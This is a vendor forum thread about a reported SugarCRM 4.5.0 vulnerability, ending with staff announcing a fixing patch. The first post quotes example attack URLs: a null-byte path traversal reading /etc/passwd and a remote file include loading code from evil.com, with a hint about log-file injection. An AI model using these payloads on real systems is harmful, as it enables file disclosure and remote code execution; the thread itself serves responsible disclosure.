Results 1 to 5 of 5

Thread: Potential security issue or hot air?

  1. #1
    tdp
    tdp is offline Sugar Community Member
    Join Date
    Sep 2005
    Posts
    74

    Default Potential security issue or hot air?

    I want to start this thread by saying that I am NOT a PHP programmer, so I honestly can't pass judgement on the validity of this. However, I would like someone with some knowledge to take a look. I frequent a Linux forum, and the topic of SugarCRM came up. One poster claimed that SugarCRM has a security problem, and when pressed for an explanation, this is what he posted:

    The one I found in 10 min will only work with systems affected by the null-byte bug.

    example:
    /sugarcrm/index.php?page=licensePrint&language=../../../../../../../../etc/passwd%00

    The problem can lead to a remote include because 'sugarEntry' is defined at the top of index.php
    Now an attacker could include any restricted file, and with registered globals on, easily get remote include.
    Easy remote include vuln is in:
    modules/Administration/RebuildAudit.php

    So by doing:
    /sugarcrm/index.php?page=licensePrint&language=../../modules/Administration/RebuildAudit.php%00&beanFiles[youFigureItOut]=http://evil.com/evil.php?

    If registered globals is off, then local file include is still possible. Most attackers can figure out how to inject php code into log files.
    Now I do know that you should have register_globals turned off, but if this poster is to be believed, that may not matter.

    Like I said, I'm not a PHP programmer and the person who posted this may have an axe to grind, so any insight would be welcomed.

  2. #2
    andydreisch's Avatar
    andydreisch is offline Sugar Team Member
    Join Date
    Apr 2005
    Location
    San Jose
    Posts
    2,080

    Default Re: Potential security issue or hot air?

    Hi tdp, I'll check with the Security team.

    Thanks for passing this along.

    Andy
    Andy Dreisch
    Vice President, Online Team


    Check out our Podcasts!
    Sugar University for training
    Sugar Wiki for developer and user help
    SugarForge for modules, themes, lang packs
    SugarExchange for production-ready extensions
    Enter/view bugs via the Sugar bug tracker

  3. #3
    mch423's Avatar
    mch423 is offline Sugar Community Member
    Join Date
    Jan 2006
    Posts
    64

    Default Re: Potential security issue or hot air?

    tdp,

    Thanks for bringing it to our attention. We have fixed it in the 4.5.0f release. Look for it very soon!


    - Max
    Max C.H. Hwang

  4. #4
    tdp
    tdp is offline Sugar Community Member
    Join Date
    Sep 2005
    Posts
    74

    Default Re: Potential security issue or hot air?

    Thanks for the update guys, it is appreciated.

  5. #5
    clint's Avatar
    clint is offline Sugar Team Member | Forums Lead Moderator
    Join Date
    Aug 2004
    Location
    Silicon Valley
    Posts
    2,120

    Default Re: Potential security issue or hot air?

    4.5.0 Patch F is now available.

    We are encouraging all Sugar 4.5.0 users to upgrade to this patch immediately due to this reported security vulnerability.

    This vulnerability is only in Sugar 4.5.0.
    Sugar Developer Zone - developer resources | Sugar University - user and admin training
    Sugar Docs - user and admin documentation |
    Sugar Bug Tracker - Enter or view bugs
    SugarForge- open source modules, themes, lang packs | SugarExchange - commercial extensions

    Clint Oram
    Chief Technology Officer and Co-founder
    SugarCRM

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •